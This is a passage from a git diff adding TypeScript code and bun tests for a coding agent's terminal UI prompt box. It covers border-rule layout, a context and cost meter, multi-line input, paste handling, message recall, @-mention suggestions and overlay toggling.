brandCost: number, +): RulePart[] | null { + if (brandCost === 0) return null + if (inner < RULE_MARGIN * 2 + brandCost) return null + const trail = inner - RULE_MARGIN - brandCost + return [ + { text: open, role: "rule" }, + { text: dashes(RULE_MARGIN), role: "rule" }, + { text: brandCell, role: "brand" }, + { text: dashes(trail), role: "rule" }, + { text: close, role: "rule" }, + ] +} + +function plainRule(open: string, close: string, inner: number): RulePart[] { + return [ + { text: open, role: "rule" }, + { text: dashes(inner), role: "rule" }, + { text: close, role: "rule" }, + ] +} + +/** + * Compose one border rule. Runs are dropped whole, never truncated mid-glyph: + * a half-written label corrupts the frame, a missing one just reads as a + * plain rule. Drop order, most to least expendable: brand, then the meter's + * cost suffix, then the meter's context reading, then the label — the + * operator's own workspace path survives everything else. + */ +export function composeRule(input: RuleInput): readonly RulePart[] { + const width = Math.max(0, Math.floor(input.width)) + const [open, close] = input.corners + if (width <= 0) return [] + if (width <= 2) { + return [{ text: (open + close).slice(0, width), role: "rule" }] + } + + const inner = width - 2 + const brandCell = padCell(input.brand?.trim() ?? "") + const brandCost = stringWidth(brandCell) + const labelCell = padCell(input.label?.trim() ?? "") + const meterFullCell = padCell(input.meter?.trim() ?? "") + const meterCompactCell = padCell(input.meterCompact?.trim() ?? "") + + const withCost = buildRightBlock(meterFullCell, labelCell) + const withoutCost = buildRightBlock(meterCompactCell, labelCell) + const withoutContext = buildRightBlock("", labelCell) + + const stages: Array<() => RulePart[] | null> = [ + () => layoutWithBrand(open, close, inner, brandCell, brandCost, withCost), + () => layoutRightOnly(open, close, inner, withCost), + () => layoutRightOnly(open, close, inner, withoutCost), + () => layoutRightOnly(open, close, inner, withoutContext), + () => layoutBrandOnly(open, close, inner, brandCell, brandCost), + ] + for (const stage of stages) { + const result = stage() + if (result !== null) return result + } + return plainRule(open, close, inner) +} + +/** Flatten a rule to plain text — what the shape tests read. */ +export function ruleText(parts: readonly RulePart[]): string { + return parts.map((part) => part.text).join("") +} + +/** True when the composed rule is an unbroken run of frame characters. */ +export function isPlainRule(parts: readonly RulePart[]): boolean { + return parts.every((part) => part.role === "rule") +} + +/** Total columns a composed rule occupies. */ +export function ruleWidth(parts: readonly RulePart[]): number { + return widthOf(parts) +} + +/** + * Fraction of the context window at which the meter turns from its resting + * color to `UI.action`. Proactive compaction fires at `COMPACTION_WINDOW_FRACTION` + * (0.6, see `src/provider/context-window.ts`); this sits a good way below it so + * the operator sees pressure building — and can act on it — before compaction + * silently rewrites the conversation out from under them. + */ +export const CONTEXT_PRESSURE_THRESHOLD = 0.5 + +export type CostContextInput = { + /** 0–100, or null when the model's context window is unknown. */ + readonly contextPercentUsed: number | null + /** Already formatted (e.g. `$0.42`); omitted or empty hides the cost suffix. */ + readonly costLabel?: string | null +} + +export type CostContextMeter = { + /** Density-ramp glyphs, `RAMP_WIDTH` cells, fill proportional to `percent`. */ + readonly percentLabel: string + readonly costLabel: string | null + /** True once `percent` has crossed `CONTEXT_PRESSURE_THRESHOLD`. */ + readonly pressured: boolean +} + +/** + * Resolve the border meter's content from live cost/context state. Null when + * there is nothing to show — an unknown context window is worse than useless + * as a percentage, so the run is omitted rather than showing `--%`. + */ +export function composeCostContextMeter(input: CostContextInput): CostContextMeter | null { + if (input.contextPercentUsed === null) return null + const percent = Math.max(0, Math.min(100, Math.round(input.contextPercentUsed))) + const cost = input.costLabel?.trim() ?? "" + return { + percentLabel: `${String(percent)}%`, + costLabel: cost.length > 0 ? cost : null, + pressured: percent / 100 >= CONTEXT_PRESSURE_THRESHOLD, + } +} + +/** + * `percent%`, or `percent% · cost` with cost included. A plain reading, not a + * ramp: the bottom-left slot is where this border moves, and a second animated + * run competing with it made the rule read as two indicators rather than one. + */ +export function costContextText(meter: CostContextMeter, includeCost: boolean): string { + const base = meter.percentLabel + return includeCost && meter.costLabel !== null ? `${base} · ${meter.costLabel}` : base +} + +/** Replace the operator's home directory with `~`. */ +export function abbreviateHome(path: string, home: string): string { + if (home.length === 0) return path + if (path === home) return "~" + return path.startsWith(`${home}/`) ? `~${path.slice(home.length)}` : path +} + +export type WorkspaceLabelInput = { + readonly cwd: string + readonly branch?: string | null + readonly home?: string + /** Columns the label may occupy. */ + readonly maxWidth: number +} + +/** + * `~/abklabs/corbits-code (main)`, shortened from the left so the branch — the + * part that changes and the part a mistake is expensive in — always survives. + */ +export function composeWorkspaceLabel(input: WorkspaceLabelInput): string { + const max = Math.max(0, Math.floor(input.maxWidth)) + const branch = input.branch?.trim() ?? "" + const suffix = branch.length > 0 ? ` (${branch})` : "" + const path = abbreviateHome(input.cwd.trim(), input.home ?? "") + if (path.length === 0) return branch.length > 0 ? `(${branch})` : "" + + const full = `${path}${suffix}` + if (stringWidth(full) <= max) return full + + const room = max - stringWidth(suffix) + const truncated = truncateFromLeft(path, room) + if (truncated.length > 0) return `${truncated}${suffix}` + // The path no longer earns its columns; the branch alone still does. + const bare = branch.length > 0 ? `(${branch})` : "" + return stringWidth(bare) <= max ? bare : "" +} + +/** Keep the tail of a path, marking the elision with a leading ellipsis. */ +function truncateFromLeft(path: string, maxWidth: number): string { + if (maxWidth <= 1) return "" + if (stringWidth(path) <= maxWidth) return path + const segments = path.split("/") + for (let start = 1; start < segments.length; start++) { + const candidate = `…/${segments.slice(start).join("/")}` + if (stringWidth(candidate) <= maxWidth) return candidate + } + const tail = segments[segments.length - 1] ?? "" + const candidate = `…${tail.slice(Math.max(0, tail.length - (maxWidth - 1)))}` + return stringWidth(candidate) <= maxWidth ? candidate : "" +} diff --git a/src/tui-opentui/prompt-box.test.ts b/src/tui-opentui/prompt-box.test.ts new file mode 100644 index 000000000..1bb5f9573 --- /dev/null +++ b/src/tui-opentui/prompt-box.test.ts @@ -0,0 +1,249 @@ +/** + * Integration: the prompt box as a multi-line composing area, and the openers + * that toggle their surface shut when pressed a second time. + */ +import { describe, expect, test } from "bun:test" + +import { PROMPT_KEY_BINDINGS } from "./prompt-input" +import { withTestRenderer, type Harness } from "./harness" +import { + PROMPT_BASE_ROWS, + PROMPT_CAP_FRACTION, + PROMPT_IDLE_ROWS, +} from "./geometry/index.js" +import { focusOwner } from "./focus/index.js" +import { promptCaretRow, promptRowCount } from "./prompt-input.js" +import { + appendStreamRow, + closeInsetOverlay, + createAppShell, + toggleShellFocus, + type AppShell, +} from "./shell" +import { openPermissionsOverlay } from "./overlays" + +function withShell( + size: { readonly columns: number; readonly rows: number }, + fn: (shell: AppShell, h: Harness) => Promise | void, +): Promise { + return withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: size.columns, rows: size.rows }, + wireKeys: true, + run: "idle", + }) + try { + await fn(shell, h) + } finally { + shell.dispose() + } + }, + { width: size.columns, height: size.rows }, + ) +} + +/** The wrapped-line table is rebuilt during layout, so compose then render. */ +async function compose( + shell: AppShell, + h: Harness, + value: string, +): Promise { + shell.prompt.value = value + await h.renderOnce() + await h.renderOnce() +} + +function lines(count: number): string { + return Array.from({ length: count }, (_, i) => `line ${i + 1}`).join("\n") +} + +describe("prompt box height", () => { + test("rests taller than a single input line on every usable terminal", async () => { + for (const rows of [24, 30, 48]) { + await withShell({ columns: 80, rows }, (shell) => { + expect(shell.layout.heights.prompt).toBe(PROMPT_IDLE_ROWS) + expect(shell.promptField.height).toBe(PROMPT_IDLE_ROWS - 2) + }) + } + }) + + test("grows with the lines being composed", async () => { + await withShell({ columns: 80, rows: 40 }, async (shell, h) => { + await compose(shell, h, lines(6)) + expect(promptRowCount(shell.prompt)).toBe(6) + expect(shell.layout.heights.prompt).toBe(8) + expect(shell.prompt.height).toBe(6) + }) + }) + + test("wrapped text counts as rows, not one long line", async () => { + await withShell({ columns: 80, rows: 40 }, async (shell, h) => { + await compose(shell, h, "w".repeat(400)) + expect(promptRowCount(shell.prompt)).toBeGreaterThan(3) + expect(shell.layout.heights.prompt).toBe( + promptRowCount(shell.prompt) + 2, + ) + }) + }) + + test("stops growing at the cap fraction and scrolls instead", async () => { + await withShell({ columns: 80, rows: 40 }, async (shell, h) => { + const cap = Math.floor(40 * PROMPT_CAP_FRACTION) + await compose(shell, h, lines(60)) + expect(shell.layout.heights.prompt).toBe(cap) + // Content outlives the window: the editor view scrolls the caret into + // view rather than the frame continuing to open. + expect(promptRowCount(shell.prompt)).toBeGreaterThan(cap) + expect(shell.prompt.height).toBe(cap - 2) + }) + }) + + test("shrinks back toward the base box on a terminal too short for both", async () => { + await withShell({ columns: 80, rows: 16 }, (shell) => { + expect(shell.layout.heights.prompt).toBeLessThan(PROMPT_IDLE_ROWS) + expect(shell.layout.heights.prompt).toBeGreaterThanOrEqual( + PROMPT_BASE_ROWS, + ) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + shell.layout.transcriptFloor, + ) + }) + }) + + test("the transcript floor outranks the composing area, however much is typed", async () => { + for (const rows of [16, 20, 24, 40]) { + await withShell({ columns: 80, rows }, async (shell, h) => { + await compose(shell, h, lines(80)) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + shell.layout.transcriptFloor, + ) + expect(shell.layout.heights.prompt).toBeGreaterThanOrEqual( + PROMPT_BASE_ROWS, + ) + }) + } + }) + + test("the box stays anchored at the foot of the terminal", async () => { + await withShell({ columns: 80, rows: 30 }, async (shell, h) => { + await compose(shell, h, lines(5)) + const box = shell.layout.regions.prompt + expect(box).toBeDefined() + expect(box!.y + box!.height).toBe(30) + }) + }) +}) + +describe("prompt caret vs sent-message recall", () => { + test("Up walks the caret up the rows before it reaches history", async () => { + await withShell({ columns: 80, rows: 30 }, async (shell, h) => { + await compose(shell, h, "alpha\nbeta\ngamma") + shell.prompt.cursorOffset = shell.prompt.value.length + shell.prompt.focus() + expect(promptCaretRow(shell.prompt)).toBe(2) + + h.pressKey("ARROW_UP") + expect(promptCaretRow(shell.prompt)).toBe(1) + expect(shell.prompt.value).toBe("alpha\nbeta\ngamma") + + h.pressKey("ARROW_UP") + expect(promptCaretRow(shell.prompt)).toBe(0) + expect(shell.prompt.value).toBe("alpha\nbeta\ngamma") + }) + }) + + test("Down walks back down without recalling mid-buffer", async () => { + await withShell({ columns: 80, rows: 30 }, async (shell, h) => { + await compose(shell, h, "alpha\nbeta\ngamma") + shell.prompt.cursorOffset = 0 + shell.prompt.focus() + + h.pressKey("ARROW_DOWN") + expect(promptCaretRow(shell.prompt)).toBe(1) + expect(shell.prompt.value).toBe("alpha\nbeta\ngamma") + }) + }) +}) + +describe("Enter is still the send key", () => { + test("Enter sends; Ctrl+J opens a new line instead", async () => { + await withShell({ columns: 80, rows: 30 }, async (shell, h) => { + await compose(shell, h, "first") + shell.prompt.focus() + + h.pressKey("LINEFEED") + expect(shell.prompt.value).toBe("first\n") + + h.pressKey("Enter") + expect(shell.prompt.value).toBe("") + }) + }) + + test("the newline binding is qualified ahead of the bare submit", () => { + // A first-match table would otherwise resolve Shift+Enter against the bare + // `return` submit entry. Whether the modifier ever arrives is the + // terminal's business — without the kitty keyboard protocol both Enter and + // Shift+Enter are a bare CR — so this asserts the table, not the chord. + const names = PROMPT_KEY_BINDINGS.map((b) => `${b.name}:${String("shift" in b)}`) + expect(names.indexOf("return:true")).toBeLessThan(names.indexOf("return:false")) + expect(names.indexOf("kpenter:true")).toBeLessThan(names.indexOf("kpenter:false")) + }) +}) + +describe("openers toggle their surface shut", () => { + test("Ctrl+O opens the palette and closes it", async () => { + await withShell({ columns: 80, rows: 30 }, (shell, h) => { + h.pressKey("o", { ctrl: true }) + expect(shell.overlayKind).toBe("palette") + expect(focusOwner(shell.focus)).toBe("palette") + + h.pressKey("o", { ctrl: true }) + expect(shell.overlayKind).toBeNull() + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).not.toBe("palette") + }) + }) + + test("Alt+C opens copy mode and closes it", async () => { + await withShell({ columns: 80, rows: 30 }, (shell, h) => { + appendStreamRow(shell, { role: "assistant", text: "something to copy" }) + h.pressKey("c", { meta: true }) + expect(shell.overlayKind).toBe("copy") + + h.pressKey("c", { meta: true }) + expect(shell.overlayKind).toBeNull() + expect(shell.copyTargets).toBeNull() + }) + }) + + test("? opens the shortcut list and closes it", async () => { + await withShell({ columns: 80, rows: 30 }, (shell, h) => { + toggleShellFocus(shell) + h.pressKey("?") + expect(shell.overlayKind).toBe("help") + + h.pressKey("?") + expect(shell.overlayKind).toBeNull() + }) + }) + + test("an opener cannot dismiss an approval overlay", async () => { + await withShell({ columns: 80, rows: 30 }, (shell, h) => { + openPermissionsOverlay(shell) + expect(shell.overlayKind).toBe("permissions") + + // A decision surface leaves by a choice or Esc, never because some other + // opener happened to be pressed. + h.pressKey("o", { ctrl: true }) + expect(shell.overlayKind).toBe("permissions") + h.pressKey("c", { meta: true }) + expect(shell.overlayKind).toBe("permissions") + h.pressKey("?") + expect(shell.overlayKind).toBe("permissions") + + closeInsetOverlay(shell) + expect(shell.overlayKind).toBeNull() + }) + }) +}) diff --git a/src/tui-opentui/prompt-chrome.test.ts b/src/tui-opentui/prompt-chrome.test.ts new file mode 100644 index 000000000..4574c41da --- /dev/null +++ b/src/tui-opentui/prompt-chrome.test.ts @@ -0,0 +1,270 @@ +/** + * Prompt chrome: bare exit/quit routing and the labels the box's border carries. + */ +import { describe, expect, test } from "bun:test" +import { withTestRenderer } from "./harness" +import { + createAppShell, + noticeText, + setPromptModelLabel, + setPromptWorkspace, + setShellBridgeHooks, + setShellExitHandler, + setStatusFlash, + submitPrompt, +} from "./shell" + +async function withShell( + fn: (shell: ReturnType) => void, + columns = 80, +): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + title: "test", + cwd: "/src/corbits-code", + terminal: { columns, rows: 24 }, + wireKeys: false, + }) + try { + fn(shell) + } finally { + shell.dispose() + } + }, + { width: columns, height: 24 }, + ) +} + +describe("bare exit / quit at the prompt", () => { + for (const word of ["exit", "quit", " QUIT "]) { + test(`"${word}" runs the host exit handler instead of sending`, async () => { + await withShell((shell) => { + const sent: string[] = [] + let exits = 0 + setShellBridgeHooks(shell, { + onSubmit: (text) => sent.push(text), + onInterrupt: () => {}, + exclusive: true, + }) + setShellExitHandler(shell, () => { + exits += 1 + }) + shell.prompt.value = word + submitPrompt(shell) + expect(exits).toBe(1) + expect(sent).toEqual([]) + expect(shell.prompt.value).toBe("") + }) + }) + } + + test("a message that merely mentions exit is sent normally", async () => { + await withShell((shell) => { + const sent: string[] = [] + let exits = 0 + setShellBridgeHooks(shell, { + onSubmit: (text) => sent.push(text), + onInterrupt: () => {}, + exclusive: true, + }) + setShellExitHandler(shell, () => { + exits += 1 + }) + shell.prompt.value = "how do I exit" + submitPrompt(shell) + expect(exits).toBe(0) + expect(sent).toEqual(["how do I exit"]) + }) + }) + + test("with no exit handler registered, exit is sent as a message", async () => { + await withShell((shell) => { + const sent: string[] = [] + setShellBridgeHooks(shell, { + onSubmit: (text) => sent.push(text), + onInterrupt: () => {}, + exclusive: true, + }) + shell.prompt.value = "exit" + submitPrompt(shell) + expect(sent).toEqual(["exit"]) + }) + }) +}) + + +/** The rules hold StyledText; join their chunks for assertions. */ +function ruleOf(rule: { content: unknown }): string { + const content = rule.content + if (typeof content === "string") return content + const { chunks } = content as { chunks?: readonly { text?: string }[] } + return (chunks ?? []).map((c) => c.text ?? "").join("") +} + +describe("the model label rides the top border", () => { + test("an unnamed session shows nothing — no placeholder, no session name", async () => { + await withShell((shell) => { + expect(shell.modelLabel).toBeNull() + const top = ruleOf(shell.promptTopRule) + expect(top).not.toContain(shell.baseTitle) + expect(top).toMatch(/^╭─+╮$/u) + }) + }) + + test("the rule breaks around a right-aligned label and resumes either side", async () => { + await withShell((shell) => { + setPromptModelLabel(shell, { + profile: "anthropic", + model: "opus", + effort: "high", + }) + const top = ruleOf(shell.promptTopRule) + expect(top).toContain("anthropic · opus · high") + expect(top).toMatch(/^╭─+ anthropic · opus · high ─╮$/u) + expect(top.length).toBe(shell.layout.contentWidth) + }) + }) + + test("empty segments fall back to a plain rule", async () => { + await withShell((shell) => { + setPromptModelLabel(shell, { model: "opus" }) + setPromptModelLabel(shell, {}) + expect(shell.modelLabel).toBeNull() + expect(ruleOf(shell.promptTopRule)).toMatch(/^╭─+╮$/u) + }) + }) +}) + +describe("the workspace rides the bottom border", () => { + test("directory and branch sit right-aligned, the lockup left", async () => { + await withShell((shell) => { + setPromptWorkspace(shell, { + cwd: "/src/corbits-code", + branch: "migration/opentui-tui", + }) + const bottom = ruleOf(shell.promptBottomRule) + expect(bottom).toMatch( + /^╰─ .*corbits code ─+ \/src\/corbits-code \(migration\/opentui-tui\) ─╯$/u, + ) + expect(bottom.length).toBe(shell.layout.contentWidth) + }) + }) + + test("no branch leaves the directory alone on the rule", async () => { + await withShell((shell) => { + setPromptWorkspace(shell, { cwd: "/src/corbits-code", branch: null }) + const bottom = ruleOf(shell.promptBottomRule) + expect(bottom).toContain("/src/corbits-code ─╯") + expect(bottom).not.toContain("(") + }) + }) + + test("the composed rule is exactly the content width at every size", async () => { + for (const columns of [120, 80, 60, 48, 40]) { + await withShell((shell) => { + setPromptWorkspace(shell, { + cwd: "/very/deep/nesting/of/directories/corbits-code", + branch: "migration/opentui-tui", + }) + expect(ruleOf(shell.promptTopRule).length).toBe( + shell.layout.contentWidth, + ) + expect(ruleOf(shell.promptBottomRule).length).toBe( + shell.layout.contentWidth, + ) + }, columns) + } + }) +}) + +describe("narrow terminals degrade the rules instead of corrupting them", () => { + test("at 60 columns both labels survive with the rule intact", async () => { + await withShell((shell) => { + setPromptModelLabel(shell, { profile: "xai", model: "grok 4.5" }) + setPromptWorkspace(shell, { + cwd: "/src/corbits-code", + branch: "migration/opentui-tui", + }) + const top = ruleOf(shell.promptTopRule) + const bottom = ruleOf(shell.promptBottomRule) + expect(top).toMatch(/^╭─+ xai · grok 4.5 ─╮$/u) + expect(bottom).toContain("corbits code") + expect(bottom).toContain("(migration/opentui-tui)") + expect(bottom).toEndWith("─╯") + expect(bottom.length).toBe(shell.layout.contentWidth) + }, 60) + }) + + test("at 48 columns the mark yields so the workspace survives", async () => { + await withShell((shell) => { + setPromptModelLabel(shell, { profile: "xai", model: "grok 4.5" }) + setPromptWorkspace(shell, { + cwd: "/src/deep/nesting/corbits-code", + branch: "migration/opentui-tui", + }) + const top = ruleOf(shell.promptTopRule) + const bottom = ruleOf(shell.promptBottomRule) + expect(top).toMatch(/^╭─+ xai · grok 4.5 ─╮$/u) + expect(bottom).not.toContain("corbits code") + expect(bottom).toContain("(migration/opentui-tui)") + // The elision is marked, and both corners still close the rule. + expect(bottom).toContain("…") + expect(bottom.startsWith("╰")).toBe(true) + expect(bottom.endsWith("╯")).toBe(true) + expect(bottom.length).toBe(shell.layout.contentWidth) + }, 48) + }) + + test("a rule with no room for the workspace keeps the mark alone", async () => { + await withShell((shell) => { + setPromptModelLabel(shell, { + profile: "a-very-long-provider-name", + model: "a-very-long-model-name", + }) + setPromptWorkspace(shell, { + cwd: "/src/deep/nesting/corbits-code", + branch: "a-very-long-branch-name-indeed", + }) + expect(ruleOf(shell.promptTopRule)).toMatch(/^╭─+╮$/u) + expect(ruleOf(shell.promptBottomRule)).toBe("╰─ corbits code ─────╯") + }, 22) + }) +}) + +describe("no permanent hint strip", () => { + test("the transient row is empty and unrowed on an idle shell", async () => { + await withShell((shell) => { + expect(noticeText(shell)).toBe("") + expect(shell.notice.visible).toBe(false) + expect(shell.layout.heights.notice).toBe(0) + }) + }) + + test("state that is only sometimes true takes a row only while it is true", async () => { + await withShell((shell) => { + setStatusFlash(shell, "copied 3 lines") + expect(noticeText(shell)).toContain("copied 3 lines") + expect(shell.layout.heights.notice).toBe(1) + expect(shell.notice.visible).toBe(true) + + setStatusFlash(shell, null) + expect(noticeText(shell)).toBe("") + expect(shell.layout.heights.notice).toBe(0) + expect(shell.notice.visible).toBe(false) + }) + }) + + test("the keys strip is gone from the frame entirely", async () => { + await withShell((shell) => { + const painted = [ + ruleOf(shell.promptTopRule), + ruleOf(shell.promptBottomRule), + noticeText(shell), + ].join("\n") + expect(painted).not.toContain("/ commands") + expect(painted).not.toContain("@ files") + expect(painted).not.toContain("^C stop") + }) + }) +}) diff --git a/src/tui-opentui/prompt-features.test.ts b/src/tui-opentui/prompt-features.test.ts new file mode 100644 index 000000000..79adc8953 --- /dev/null +++ b/src/tui-opentui/prompt-features.test.ts @@ -0,0 +1,335 @@ +/** + * Integration: prompt-side features wired on the OpenTUI shell — + * clipboard image attach, text paste, sent-message recall, and @-mention + * suggestions. + */ +import { describe, expect, test } from "bun:test" + +import type { PendingImageAttachment } from "../tui/image-attachments.js" +import { withTestRenderer, type Harness } from "./harness" +import { + acceptOverlaySelection, + attachClipboardImage, + createAppShell, + moveOverlaySelection, + noticeText, + openAtMentionSuggestions, + setMentionSuggestionSource, + setPromptImageSource, + setSentMessageHistory, + setShellBridgeHooks, + submitPrompt, + type AppShell, +} from "./shell" + +const CLIP: PendingImageAttachment = { + id: "clip-1", + name: "clipboard.png", + contentType: "image/png", + data: new Uint8Array([137, 80, 78, 71]), +} + +function withShell( + fn: (shell: AppShell) => Promise, + opts?: { readonly wireKeys?: boolean }, +): Promise { + return withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: opts?.wireKeys ?? true, + run: "idle", + }) + try { + await fn(shell) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) +} + +describe("image attachments", () => { + test("attaches a clipboard image and says so on the notice row", async () => { + await withShell(async (shell) => { + setPromptImageSource(shell, async () => ({ ok: true, attachment: CLIP })) + expect(await attachClipboardImage(shell)).toBe(true) + expect(shell.pendingAttachments).toHaveLength(1) + const notice = noticeText(shell) + expect(notice).toContain("1 image") + expect(notice).toContain("attached clipboard.png") + }) + }) + + test("reports the failure reason and attaches nothing", async () => { + await withShell(async (shell) => { + setPromptImageSource(shell, async () => ({ ok: false, reason: "no PNG" })) + expect(await attachClipboardImage(shell)).toBe(false) + expect(shell.pendingAttachments).toEqual([]) + expect(shell.statusFlash).toContain("no PNG") + }) + }) + + // Raw control bytes, not a synthetic KeyEvent: a binding that never matches + // what the terminal actually writes looks correct in the catalog and fails + // silently in use. + for (const [chord, byte] of [ + ["Ctrl+P", "\x10"], + ["Ctrl+V", "\x16"], + ] as const) { + test(`${chord} attaches through the wired key handler`, async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + let resolveAttached: () => void = () => {} + const attached = new Promise((r) => { + resolveAttached = r + }) + setPromptImageSource(shell, async () => { + queueMicrotask(resolveAttached) + return { ok: true, attachment: CLIP } + }) + h.mockInput.pressKey(byte) + await attached + await h.renderOnce() + expect(shell.pendingAttachments).toHaveLength(1) + expect(shell.prompt.value).toBe("") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + } + + test("submit hands pending attachments to the bridge and clears them", async () => { + await withShell(async (shell) => { + const seen: Array = [] + setShellBridgeHooks(shell, { + onSubmit: (_text, _kind, attachments) => seen.push(attachments), + onInterrupt: () => {}, + exclusive: true, + }) + setPromptImageSource(shell, async () => ({ ok: true, attachment: CLIP })) + await attachClipboardImage(shell) + shell.prompt.value = "what is this" + submitPrompt(shell) + expect(seen).toHaveLength(1) + expect(seen[0]).toHaveLength(1) + expect(shell.pendingAttachments).toEqual([]) + }) + }) + + test("an image with no text still submits", async () => { + await withShell(async (shell) => { + const texts: string[] = [] + setShellBridgeHooks(shell, { + onSubmit: (text) => texts.push(text), + onInterrupt: () => {}, + exclusive: true, + }) + setPromptImageSource(shell, async () => ({ ok: true, attachment: CLIP })) + await attachClipboardImage(shell) + submitPrompt(shell) + expect(texts).toEqual([""]) + }) + }) +}) + +/** + * A pasted newline must never reach the bare-return submit binding: that would + * send half a message. The renderer negotiates bracketed paste (DEC 2004), so + * a real paste arrives as OpenTUI's own `paste` event rather than as keys — + * these drive the raw ESC[200~ … ESC[201~ bytes to prove it. + */ +describe("text paste", () => { + const pasteCase = (label: string, drive: (h: Harness) => Promise, expected: string) => { + test(label, async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + const submitted: string[] = [] + setShellBridgeHooks(shell, { + onSubmit: (text) => submitted.push(text), + onInterrupt: () => {}, + exclusive: true, + }) + setPromptImageSource(shell, async () => ({ ok: true, attachment: CLIP })) + shell.prompt.focus() + await drive(h) + await h.renderOnce() + expect(shell.prompt.value).toBe(expected) + expect(submitted).toEqual([]) + expect(shell.pendingAttachments).toEqual([]) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + } + + pasteCase( + "single-line paste lands verbatim", + async (h) => await h.mockInput.pasteBracketedText("hello world"), + "hello world", + ) + + pasteCase( + "multi-line paste keeps its newlines and does not submit", + async (h) => await h.mockInput.pasteBracketedText("first line\nsecond line\nthird line"), + "first line\nsecond line\nthird line", + ) + + // Terminals normalise pasted line endings differently; CRLF inside a + // bracketed paste must still be composed text, not a submit. + pasteCase( + "a CRLF paste does not submit on the carriage return", + async (h) => await h.mockInput.pasteBracketedText("first line\r\nsecond line"), + "first line\nsecond line", + ) + + pasteCase( + "a paste larger than one stdin chunk arrives intact", + async (h) => await h.mockInput.pasteBracketedText(`${"x".repeat(4000)}\nend`), + `${"x".repeat(4000)}\nend`, + ) +}) + +describe("sent-message recall", () => { + test("Up recalls the newest sent message, Down returns the draft", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + setSentMessageHistory(shell, ["first prompt", "second prompt"]) + shell.prompt.value = "draft" + shell.prompt.cursorOffset = 0 + + h.pressKey("ARROW_UP") + await h.renderOnce() + expect(shell.prompt.value).toBe("second prompt") + + shell.prompt.cursorOffset = 0 + h.pressKey("ARROW_UP") + await h.renderOnce() + expect(shell.prompt.value).toBe("first prompt") + + h.pressKey("ARROW_DOWN") + await h.renderOnce() + expect(shell.prompt.value).toBe("second prompt") + + h.pressKey("ARROW_DOWN") + await h.renderOnce() + expect(shell.prompt.value).toBe("draft") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("submitting records the message for later recall", async () => { + await withShell(async (shell) => { + setShellBridgeHooks(shell, { + onSubmit: () => {}, + onInterrupt: () => {}, + exclusive: true, + }) + shell.prompt.value = "remember me" + submitPrompt(shell) + expect(shell.sentHistory.sent).toEqual(["remember me"]) + }) + }) +}) + +describe("@-mention suggestions", () => { + test("opens the mentions overlay for the token under the cursor", async () => { + await withShell(async (shell) => { + // The popup lists the directory portion and narrows the listing itself, + // so the source is asked for `src/`, not the whole typed token. + setMentionSuggestionSource(shell, async (prefix) => { + expect(prefix).toBe("src/") + return ["src/tui/", "src/tui-opentui/", "src/config/"] + }) + shell.prompt.value = "read @src/tu" + shell.prompt.cursorOffset = shell.prompt.value.length + + expect(await openAtMentionSuggestions(shell)).toBe(true) + expect(shell.overlayKind).toBe("mentions") + expect(shell.overlayItems).toEqual(["src/tui/", "src/tui-opentui/"]) + }) + }) + + test("accepting a file splices it into the prompt", async () => { + await withShell(async (shell) => { + setMentionSuggestionSource(shell, async () => ["AGENTS.md", "README.md"]) + shell.prompt.value = "read @" + shell.prompt.cursorOffset = 6 + + await openAtMentionSuggestions(shell) + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(shell.prompt.value).toBe("read @README.md") + expect(shell.overlayKind).toBeNull() + }) + }) + + test("does nothing when the cursor is not inside an @token", async () => { + await withShell(async (shell) => { + setMentionSuggestionSource(shell, async () => ["AGENTS.md"]) + shell.prompt.value = "no mention here" + shell.prompt.cursorOffset = shell.prompt.value.length + expect(await openAtMentionSuggestions(shell)).toBe(false) + expect(shell.overlayKind).toBeNull() + }) + }) + + test("typing @ at a word boundary opens the overlay", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + let resolveOpened: () => void = () => {} + const opened = new Promise((r) => { + resolveOpened = r + }) + setMentionSuggestionSource(shell, async () => { + queueMicrotask(resolveOpened) + return ["AGENTS.md"] + }) + h.pressKey("@") + await opened + await h.renderOnce() + expect(shell.prompt.value).toBe("@") + expect(shell.overlayKind).toBe("mentions") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/prompt-input.ts b/src/tui-opentui/prompt-input.ts new file mode 100644 index 000000000..d07d50f08 --- /dev/null +++ b/src/tui-opentui/prompt-input.ts @@ -0,0 +1,114 @@ +/** + * The shell's prompt input: a genuine multi-line composing area. + * + * OpenTUI's `InputRenderable` is hard-wired to one row, no wrapping, and + * newlines stripped, so the prompt is built on `TextareaRenderable` instead — + * the same widget `InputRenderable` derives from, minus those constraints. + * Two things have to be put back on top of it: + * + * - **Enter sends.** The textarea's default is Enter-inserts-newline, which + * would swallow the shell's primary action. The bindings below flip it: Enter + * submits and a newline needs an explicit chord. Alt+Enter (steer) is claimed + * by the shell's key listener before the widget ever sees it. + * - **`value`.** `InputRenderable` exposes the buffer as `value`; the textarea + * calls it `plainText` and has no setter that also parks the caret. The whole + * shell — kill ring, history recall, the `/` and `@` popups, attachments — + * reads and writes `value` as one logical string with global offsets, which + * stays true for a multi-line buffer, so the accessor is defined here rather + * than rewritten at every call site. + */ + +import { + TextareaRenderable, + type CliRenderer, + type TextareaOptions, +} from "@opentui/core" + +/** A textarea that answers to the single-line input's `value` contract. */ +export type PromptInput = TextareaRenderable & { value: string } + +/** + * Enter sends the message, so a literal 